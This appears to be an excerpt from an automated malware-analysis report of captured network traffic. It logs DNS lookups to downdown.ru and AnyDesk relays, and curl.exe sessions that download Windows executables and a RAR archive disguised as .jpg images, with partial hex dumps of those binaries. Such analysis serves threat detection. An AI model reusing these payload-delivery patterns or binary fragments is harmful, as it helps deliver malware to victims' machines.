Jan 11, 2025 07:54:35.058712006 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058723927 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058825016 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.058944941 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059066057 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059070110 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.059197903 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059305906 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059429884 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059549093 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059604883 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059730053 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059853077 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059973955 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.059983015 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.060101986 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060218096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060343027 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060457945 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060579062 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060698986 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060766935 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.060894012 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.061017036 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.061111927 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:35.061137915 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:35.061264038 CET	443	65192	23.213.53.31	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:53:47.680308104 CET	192.168.11.20	1.1.1.1	0x8a97	Standard query (0)	downdown.ru	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:02.868016958 CET	192.168.11.20	1.1.1.1	0x36ed	Standard query (0)	www.4t-niagara.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:05.437623978 CET	192.168.11.20	1.1.1.1	0x3ab8	Standard query (0)	boot.net.anydesk.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:13.799091101 CET	192.168.11.20	1.1.1.1	0xf72f	Standard query (0)	relay-30ea2fb5.net.anydesk.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:53:48.081686974 CET	1.1.1.1	192.168.11.20	0x8a97	No error (0)	downdown.ru	185.125.51.5	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:03.064366102 CET	1.1.1.1	192.168.11.20	0x36ed	No error (0)	www.4t-niagara.com	94.23.158.211	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:05.557204008 CET	1.1.1.1	192.168.11.20	0x3ab8	No error (0)	boot.net.anydesk.com	57.129.37.157	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:54:13.918184042 CET	1.1.1.1	192.168.11.20	0xf72f	No error (0)	relay-30ea2fb5.net.anydesk.com	160.202.165.71	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49754	185.125.51.5	80	4108	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:48.496963024 CET	89	OUT	GET /driver.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:48.715313911 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:48 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELH0@@ gp.text0& `.data @F,@.tls`r@.rdatapt@P.idatav@@.edata@@.rsrc [TRUNCATED]
Jan 11, 2025 07:53:48.715424061 CET	1289	IN	Data Raw: 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@
Jan 11, 2025 07:53:48.715540886 CET	1289	IN	Data Raw: 8b d8 56 57 89 55 fc 8b f9 8b 73 04 ff 75 fc e8 ad a9 03 00 59 8b d0 42 8b c3 e8 6a 00 00 00 ff 75 fc 8b 0b 03 ce 51 e8 65 a9 03 00 83 c4 08 85 ff 74 49 66 83 3f 00 74 43 8b 43 24 89 45 f8 8d 43 20 ba 01 00 00 00 e8 8d 00 00 00 8b 4b 20 8b 45 f8 Data Ascii: VWUsuYBjuQetIf?tCC$EC K E4SUCBECC0_^[]SVSC;C~>CyC ;C}sV3";uHDn%s^[SVSC;C~CCy
Jan 11, 2025 07:53:48.715647936 CET	1289	IN	Data Raw: 74 e3 8b c3 5b c3 90 90 53 8b d8 33 c0 8a c3 50 e8 0b 1d 04 00 5b c3 90 53 8b d8 33 c0 8a c3 50 e8 13 1d 04 00 5b c3 90 53 56 8b d8 83 fb 69 75 08 b8 49 00 00 00 5e 5b c3 8b f3 56 e8 27 ca 03 00 59 5e 5b c3 90 90 90 55 8b ec 51 53 56 57 89 55 fc Data Ascii: t[S3P[S3P[SViuI^[V'Y^[UQSVWU3@3 t8t}00\|9N a\|fNA\|FN3x0\|9_ a\|f_A\|F_3]B8u_^[Y]SVW
Jan 11, 2025 07:53:48.715732098 CET	1289	IN	Data Raw: 95 fc f7 ff ff 8b 45 fc e8 52 a0 00 00 8b c7 5f 5e 5b 8b e5 5d c3 90 53 56 8b da 8b f0 8b c6 e8 af 00 00 00 85 db 75 0a 85 c0 74 30 c6 00 00 5e 5b c3 85 c0 75 1b 68 6c 41 44 00 56 e8 62 9e 03 00 83 c4 08 53 56 e8 58 9e 03 00 83 c4 08 5e 5b c3 53 Data Ascii: ER_^[]SVut0^[uhlADVbSVX^[S@P&^[SVtCf;t=ut.f^[unAD^[^[rAD^tf8tvADSV=DtD.
Jan 11, 2025 07:53:48.715877056 CET	1289	IN	Data Raw: 76 12 8b f3 eb 0e 4b 3b fb 73 09 33 c0 8a 03 83 f8 2e 75 a3 8b c6 5f 5e 5b 59 5d c3 90 90 55 8b ec 83 c4 f8 53 56 89 4d f8 89 55 fc 8b f0 8b c6 e8 95 fb ff ff 8b d8 85 c0 75 19 68 b3 41 44 00 56 e8 54 99 03 00 83 c4 08 8b c6 e8 7a fb ff ff 8b d8 Data Ascii: vK;s3.u_^[Y]USVMUuhADVTz9{t"rADCtADCuhADKQ}uN40K;w3PZYuVY;tPH;uC1g3:tX3SRYt3
Jan 11, 2025 07:53:48.715985060 CET	1289	IN	Data Raw: e8 e4 c3 03 00 59 8b f0 80 7d fb 00 74 03 c6 03 00 85 ff 74 2b ba 3b 00 00 00 8b c7 e8 94 98 00 00 8b d8 85 db 74 19 85 f6 75 0a 8d 43 02 e8 ea 99 00 00 8b f0 80 7d fb 00 74 05 66 c7 03 00 00 8b c6 5f 5e 5b 59 59 5d c3 55 8b ec 50 b8 09 00 00 00 Data Ascii: Y}tt+;tuC}tf_^[YY]UPPHuESVW;tPVut>1;sB3PdYt00uC]K;rAD:E3VRz
Jan 11, 2025 07:53:48.716053963 CET	1289	IN	Data Raw: 47 ff b5 20 ff ff ff 68 dd 41 44 00 8d 85 ec fa ff ff 50 e8 9c a7 03 00 83 c4 0c ff b5 24 ff ff ff 68 e4 41 44 00 8d 95 f1 fa ff ff 52 e8 82 a7 03 00 83 c4 0c ff b5 28 ff ff ff 68 e4 41 44 00 8d 8d f6 fa ff ff 51 e8 68 a7 03 00 83 c4 0c ff b5 2c Data Ascii: G hADP$hADR(hADQh,hADPN0hADR44hADQWhADPFVhADP@BRhADQ5DDhAD
Jan 11, 2025 07:53:48.716191053 CET	1289	IN	Data Raw: 33 d2 8b 03 e8 62 08 00 00 f7 c6 01 00 00 00 74 07 53 e8 ec 73 03 00 59 5e 5b c3 b8 48 8c 44 00 e8 be 07 03 00 b8 59 92 44 00 e8 88 bd 00 00 b8 5c 92 44 00 e8 96 b5 02 00 c3 b8 5c 92 44 00 ba 02 00 00 00 e8 a2 b5 02 00 b8 59 92 44 00 ba 02 00 00 Data Ascii: 3btSsY^[HDYD\D\DYDcBD3@@f@@P3@@3@@@@SVt7BD{t{u{ttSsY^[U
Jan 11, 2025 07:53:48.716290951 CET	1289	IN	Data Raw: 17 50 e8 4b 86 03 00 83 c4 08 8b c7 e8 b5 e0 ff ff 8b d0 8d 86 18 04 00 00 e8 14 87 00 00 8b c3 5f 5e 5b 59 5d c3 55 8b ec 83 c4 e4 53 56 57 8b f1 89 55 fc 8b f8 85 f6 0f 84 a4 01 00 00 83 7f 0c 00 74 21 8b 47 0c 48 74 05 48 74 0e eb 16 6a f5 e8 Data Ascii: PK_^[Y]USVWUt!GHtHtjbGjVGE3UtM3;~djEP+@}+@QEPw&Ut)@;jEPVuwM}
Jan 11, 2025 07:53:48.933520079 CET	1289	IN	Data Raw: d2 53 56 57 89 45 fc 8b 7d 08 8b f1 74 0d 83 3a 00 0f 95 c0 83 e0 01 84 c0 75 04 33 db eb 05 bb 01 00 00 00 85 f6 74 0d 83 3e 00 0f 95 c0 83 e0 01 84 c0 75 04 33 c9 eb 05 b9 01 00 00 00 88 4d fb 85 ff 74 0d 83 3f 00 0f 95 c0 83 e0 01 84 c0 75 04 Data Ascii: SVWE}t:u3t>u3Mt?u3MtE}tUu}tUetM3Q}tE3P}tU3REp_^[]USURjjpwUY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49755	185.125.51.5	80	6188	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:50.167802095 CET	87	OUT	GET /blat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:50.389619112 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:50 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$\)=G=G=G=F=G"T=Gq!I=G"Mq=G"L=GJ;A=GRich=GPEL,vb`p@qPp.text:Y` `.rdatapp@@.data[0@.rsrc@@ [TRUNCATED]
Jan 11, 2025 07:53:50.389686108 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:53:50.389842987 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:53:50.389972925 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 07:53:50.390032053 CET	1289	IN	Data Raw: 00 00 00 8d 8d 34 ee ff ff e8 9d 19 00 00 c6 45 fc 09 8b 45 0c ff 30 8d 8d 34 ee ff ff e8 c7 1b 00 00 8b 45 0c ff 70 04 8d 8d 34 ee ff ff e8 bb 1a 00 00 53 8d 8d 34 ee ff ff e8 03 82 00 00 50 e8 ba a1 01 00 59 59 85 c0 75 32 8d 8d 34 ee ff ff e8 Data Ascii: 4EE04Ep4S4PYYu24PE0yYY9}~ETA;M\|M4YE4EPY89}o8E4qDPFM
Jan 11, 2025 07:53:50.390157938 CET	1289	IN	Data Raw: 44 36 02 50 e8 12 9c 01 00 59 8b f8 3b fb 75 10 8d 8d 74 ee ff ff e8 44 17 00 00 e9 ca 00 00 00 53 8d 85 04 ee ff ff 50 56 57 8d 8d 74 ee ff ff e8 d8 17 00 00 85 c0 8d 8d 74 ee ff ff 75 22 e8 1b 17 00 00 57 e8 14 98 01 00 59 8d 8d 54 fb ff ff e8 Data Ascii: D6PY;utDSPVWttu"WYT\|PhBfwLhfLt<tVWPDPMWDPCY;u*TD\|
Jan 11, 2025 07:53:50.390229940 CET	1289	IN	Data Raw: 8b 08 66 83 f9 2d 74 06 66 83 f9 2f 75 0b 66 39 58 02 74 05 53 6a 01 eb 03 53 6a 02 52 ff 75 08 8d 85 44 f8 ff ff 50 e8 0a cd 00 00 83 c4 14 89 45 bc 39 9d c8 fe ff ff 74 68 39 5d 8c 74 63 39 5d 88 75 5e 8b 45 08 83 f8 02 b9 7c 7e 42 00 75 05 b9 Data Ascii: f-tf/uf9XtSjSjRuDPE9th9]tc9]u^E\|~Bux~BQHPh$~BDP j^9u~-8x;tPh~BDPz F;u\|fFu6fuhhXBDP8 f9`9]
Jan 11, 2025 07:53:50.390505075 CET	1289	IN	Data Raw: 9d 8c ee ff ff 8d 8d 90 f9 ff ff e8 66 0c 00 00 39 85 8c ee ff ff 73 6d 8d 8d 90 f9 ff ff e8 04 73 00 00 8b 8d 8c ee ff ff 66 83 3c 48 28 75 26 8d 8d 90 f9 ff ff e8 ec 72 00 00 8b 8d 8c ee ff ff 66 83 3c 48 29 74 08 ff 85 8c ee ff ff eb e0 ff 85 Data Ascii: f9smsf<H(u&rf<H)trrfOfpFrfprP(39smVrf<H(u&>rf<H
Jan 11, 2025 07:53:50.390531063 CET	1289	IN	Data Raw: b5 c8 fe ff ff e8 bc 88 01 00 59 6a 03 e9 ae 01 00 00 8d 8d 74 ee ff ff e8 bb 08 00 00 85 c0 8d 8d 74 ee ff ff 75 41 e8 18 08 00 00 68 10 7a 42 00 8d 85 44 f8 ff ff 50 e8 c1 16 00 00 53 8d 85 44 f8 ff ff 50 e8 b4 16 00 00 83 c4 10 39 9d c8 fe ff Data Ascii: YjttuAhzBDPSDP9tfYjXzfFu.fWhhyBDPafx;GPxlfFu-fhhXyBDP
Jan 11, 2025 07:53:50.390678883 CET	1289	IN	Data Raw: 00 8d 85 44 f8 ff ff 50 e8 e8 11 00 00 68 08 72 42 00 8d 85 44 f8 ff ff 50 e8 d7 11 00 00 53 8d 85 44 f8 ff ff 50 e8 ca 11 00 00 83 c4 18 e9 dd fe ff ff 53 8d 85 44 f8 ff ff 50 e8 b5 11 00 00 59 59 39 9d c8 fe ff ff 74 0c ff b5 c8 fe ff ff e8 68 Data Ascii: DPhrBDPSDPSDPYY9thYu8DPtPY3HHVf~uh@YF ^f VftP&fY^Vt$^Vt$W~t/F
Jan 11, 2025 07:53:50.610284090 CET	1289	IN	Data Raw: 30 02 00 00 e8 a2 fb ff ff 8d 8e 10 03 00 00 e8 97 fb ff ff 8d 8e 40 03 00 00 e8 8c fb ff ff 8d 8e 78 06 00 00 e8 81 fb ff ff 8d 8e 8c 06 00 00 e8 76 fb ff ff 8d 8e 34 07 00 00 e8 6b fb ff ff 8d 8e 34 01 00 00 e8 60 fb ff ff 8d 8e c4 01 00 00 e8 Data Ascii: 0@xv4k4`ULJd?X4L)@(N\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49756	185.125.51.5	80	6632	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:51.900471926 CET	90	OUT	GET /svchost.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:52.122466087 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:52 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h};};};";};#;};;};;};Rich};PELXf"0QT%@@vQ@v%.textw( `.itextT%@.rdata%.@@.data&Q%$Q2@.relocvVQ@B [TRUNCATED]
Jan 11, 2025 07:53:52.122607946 CET	1289	IN	Data Raw: 45 08 8b 55 10 56 8b f1 33 c9 57 8b 7d 18 89 4e 08 89 4e 14 89 4e 18 89 4e 1c 89 4e 20 89 4e 24 89 4e 28 89 4e 2c 8d 4d 08 51 6a 40 ff 75 1c 89 06 8b 45 0c 89 56 0c 8b 55 14 57 89 46 04 89 56 10 ff 50 18 85 c0 75 0c c7 46 08 09 00 00 00 e9 d5 00 Data Ascii: EUV3W}NNNNN N$N(N,MQj@uEVUWFVPuFS^@sFFMZFf9tFH<;sFN9PEtFtVN RTP<;sFORPQFH33L
Jan 11, 2025 07:53:52.122741938 CET	1289	IN	Data Raw: 50 8d 46 14 50 8b ce e8 ac fe ff ff 6a 0e 68 a8 a0 65 01 68 09 fb cc 65 e8 56 08 00 00 83 c4 0c 50 8d 46 18 50 8b ce e8 8c fe ff ff 6a 10 68 94 a0 65 01 68 60 21 da 4b e8 36 08 00 00 83 c4 0c 50 8d 46 1c 50 8b ce e8 6c fe ff ff 6a 19 68 78 a0 65 Data Ascii: PFPjheheVPFPjheh`!K6PFPljhxeh=PF PLjhdehIiPF$P,_^[d39t89At39At.9At)9At$9At9At9At9A t9A$t9A(t9A,t@L$3f9tf
Jan 11, 2025 07:53:52.122798920 CET	1289	IN	Data Raw: 66 3b 46 06 73 28 6a 05 68 18 a2 65 01 57 e8 ef fb ff ff 83 c4 0c 85 c0 74 0e 0f b7 46 06 43 83 c7 28 3b d8 7c e0 eb 06 8b 47 24 89 45 f8 33 c0 33 db 66 3b 46 06 73 4c 6a 06 68 10 a2 65 01 57 e8 bd fb ff ff 83 c4 0c 85 c0 74 0e 0f b7 46 06 43 83 Data Ascii: f;Fs(jheWtFC(;\|G$E33f;FsLjheWtFC(;\|*ueEPjj(WVtEG$EPuj(WV_^[UeSVs<FW\|03f;Fs#jh eWHtFE(9E\|3_^[G4\|\V+eMQ
Jan 11, 2025 07:53:52.122911930 CET	1289	IN	Data Raw: 55 10 74 05 66 89 11 5d c3 66 89 51 fe 5d c3 55 8b ec 51 51 8b 4d 14 8b 11 8b 4d 0c 33 c0 83 e2 07 83 f9 05 73 02 c9 c3 83 45 10 05 83 4d 0c ff 53 56 8b 75 08 8d 4c 0e fc 57 89 4d fc 8d 3c 30 eb 09 8a 07 24 fe 3c e8 74 06 47 3b 7d fc 72 f2 8b c7 Data Ascii: Utf]fQ]UQQMM3sEMSVuLWM<0$<tG;}r+E;}+Mv=3OEtuWOOO}tA]@Ite+eKttuE@]++ut0ej
Jan 11, 2025 07:53:52.122980118 CET	1289	IN	Data Raw: fe c1 ef 0b 0f af 7d e8 39 7d fc 73 47 b8 00 08 00 00 2b 45 e8 8b f7 8b 7d ec c1 e8 05 03 45 e8 3b 7d dc 66 89 01 8b 45 c4 1b c9 23 4d d0 2b 4d dc 03 cf 8a 0c 01 88 0c 07 47 ff 45 e0 83 7d f4 07 89 7d ec 1b c0 83 e0 fe 83 c0 0b 89 45 f4 e9 56 08 Data Ascii: }9}sG+E}E;}fE#M+MGE}}EV)}+}+f9)}++}fM}O}s]}E}}9]s+Mf)]+}fM}+O
Jan 11, 2025 07:53:52.123205900 CET	1289	IN	Data Raw: e7 08 0b fb 8b 5d e8 c1 e6 08 ff 45 f8 89 7d fc 8b fe c1 ef 0b 0f af f8 39 7d fc 73 15 8b f7 bf 00 08 00 00 2b f8 c1 ef 05 03 f8 66 89 39 8b c3 eb 13 29 7d fc 2b f7 8b f8 c1 ef 05 2b c7 66 89 01 8b 45 e8 40 83 e8 40 83 f8 04 0f 82 98 02 00 00 33 Data Ascii: ]E}9}s+f9)}++fE@@3G#IM}]+EX^Ms]MEMM9]s+Ef)]+MfE+GEEeMu
Jan 11, 2025 07:53:52.123231888 CET	1289	IN	Data Raw: c0 5b c2 04 00 55 8b ec 83 ec 18 8b 55 08 03 55 0c 8b 48 20 89 55 0c 33 d2 89 4d fc 8b 48 08 42 d3 e2 53 8b 58 10 56 8b 70 1c 57 8b 78 34 4a 23 50 2c 8b cf c1 e1 04 03 ca 0f b7 0c 4b 89 5d f8 89 4d ec 81 fe 00 00 00 01 73 23 8b 4d 08 3b 4d 0c 72 Data Ascii: [UUUH U3MHBSXVpWx4J#P,K]Ms#M;Mr3a]E]M9MOMlx0Mux,t6H$uH(X\jY*3HBJ#P,i]sY3AE;s E;E]
Jan 11, 2025 07:53:52.123421907 CET	1289	IN	Data Raw: ca 02 d3 e2 2b d0 8d 8c 57 5e 05 00 00 eb 47 83 e9 04 3b f3 73 20 8b 45 08 3b 45 0c 0f 83 28 fb ff ff 8b 55 fc 0f b6 00 c1 e2 08 0b d0 c1 e6 08 ff 45 08 89 55 fc 8b 45 fc d1 ee 2b c6 c1 e8 1f 48 23 c6 29 45 fc 49 75 c9 8d 8f 44 06 00 00 c7 45 ec Data Ascii: +W^G;s E;E(UEUE+H#)EIuDE3B;s E;E}E}<9Es)E+BMu;sE9EE_^[PVpp@IaLQ ^D$33AHLPH
Jan 11, 2025 07:53:52.123447895 CET	1289	IN	Data Raw: c4 1c 85 f6 75 08 83 3b 03 75 03 6a 06 5e 8b 45 b4 8b 4d 0c ff 75 28 89 01 8d 45 90 50 e8 73 fe ff ff 59 59 8b c6 5f 5e 5b c9 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: u;uj^EMu(EPsYY_^[
Jan 11, 2025 07:53:52.344392061 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 00H`0Z-MyAW~P`u*kuN(Wor zc}0`V`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49757	185.125.51.5	80	3588	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:55.339183092 CET	88	OUT	GET /Trays.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:55.561680079 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:55 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "1adacc-62831fb300240" Accept-Ranges: bytes Content-Length: 1759948 Content-Type: image/jpeg Data Raw: 52 61 72 21 1a 07 00 ce 99 73 80 00 0d 00 00 00 00 00 00 00 1f 3b 19 a6 5d b5 91 1f 9b e7 fa 36 2c 14 2c 3a d3 ef 6b 2a 9c fe f4 92 fc 51 72 86 36 3b 68 97 d9 fb 42 71 53 f8 e0 5e 7b 4d c8 c1 d7 c3 c5 0e d4 38 42 21 ea a3 d2 1b 57 e7 b2 1c 9b 7a 7f 17 91 29 33 70 00 ce e0 c3 3e 93 ec 84 c5 fa b4 f6 66 b6 cd 21 d6 a7 5a f7 03 6a df 29 4a b1 b0 0d 10 c9 28 7a 77 94 3e ed 05 9d 60 cf b9 65 24 70 37 96 39 dd 59 e5 b2 b0 2a b5 d5 43 31 60 b1 be 61 35 00 d1 59 94 2b 73 f1 f9 cb b4 ca e8 38 79 e5 f9 91 1c 24 6c a9 43 a7 f9 76 50 b4 8e 7f 0b db 4f 64 d7 6d 3f 3b 46 a9 0e d3 f6 06 54 12 